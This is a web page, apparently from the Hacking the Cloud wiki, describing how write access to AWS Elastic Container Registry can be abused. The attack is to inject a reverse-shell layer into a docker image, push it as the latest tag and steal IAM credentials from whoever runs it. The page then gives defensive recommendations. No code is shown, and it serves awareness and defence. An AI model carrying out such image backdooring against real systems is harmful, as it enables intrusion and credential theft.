Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Roi Lavie</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/abusing-container-registry.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=abusing-elastic-container-registry-for-lateral-movement>Abusing Elastic Container Registry for Lateral Movement<a class=headerlink href=#abusing-elastic-container-registry-for-lateral-movement title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <ul> <li><a href=https://medium.com/ironsource-tech-blog/abusing-elastic-container-registry-ecr-to-own-aws-environments-47534ad61729>Abusing Elastic Container Registry (ECR) to own AWS environments</a> by <a href=https://medium.com/@roi.halawi>Roi Lavie</a> </li> <li><a href=https://medium.com/@mayankshah1607/docker-security-backdooring-images-with-dockerscan-ace5ff65bd39>Docker Security : Backdooring Images with Dockerscan</a> by <a href=https://medium.com/@mayankshah1607>Mayank Shah</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <p>Read and write access to an ECR registry</p> </li> </ul> </div> <p>IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Inbound SG" loading=lazy src=../../../images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png></a></p> </figure> <p>This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.</p> <p>Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</p> <iframe width=420 height=315 src=https://www.youtube.com/embed/xGFh5L0eOzE> </iframe> <p>Video Summary:</p> <ul> <li>An attacker’s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.</li> <li>The attacker gains access to resources using access to ECR</li> <li>The attacker pulls the latest docker image</li> <li>The attacker adds a layer by injecting a malicious payload to the docker image</li> <li>The attacker pushes the docker image to ECR with the latest tag</li> <li>The victim pulls the latest docker image and starts the container</li> <li>The malicious reverse shell is executed and communicates with the attacker</li> <li>The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)</li> </ul> <p>Security Recommendations:</p> <ul> <li>Least privileges — external facing apps should not have write access or wildcard (*) permissions on ECR</li> <li>Secure CI/CD pipelines — Protect from any unauthorized access to source code repos or build tools.</li> <li>Enforce signing of docker images</li> <li>(see: https://github.com/notaryproject/notary)</li> <li>Use docker custom security profiles like AppArmor, Seccomp</li> <li>Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)</li> </ul> <p><strong>Conclusions:</strong> One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">October 12, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/tragulum class=md-author title=@tragulum> <img src="https://avatars.githubusercontent.com/u/90983337?v=4&size=72" alt=tragulum> </a> <a href=https://github.com/roisec class=md-author title=@roisec> <img src="https://avatars.githubusercontent.com/u/68992144?v=4&size=72" alt=roisec> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 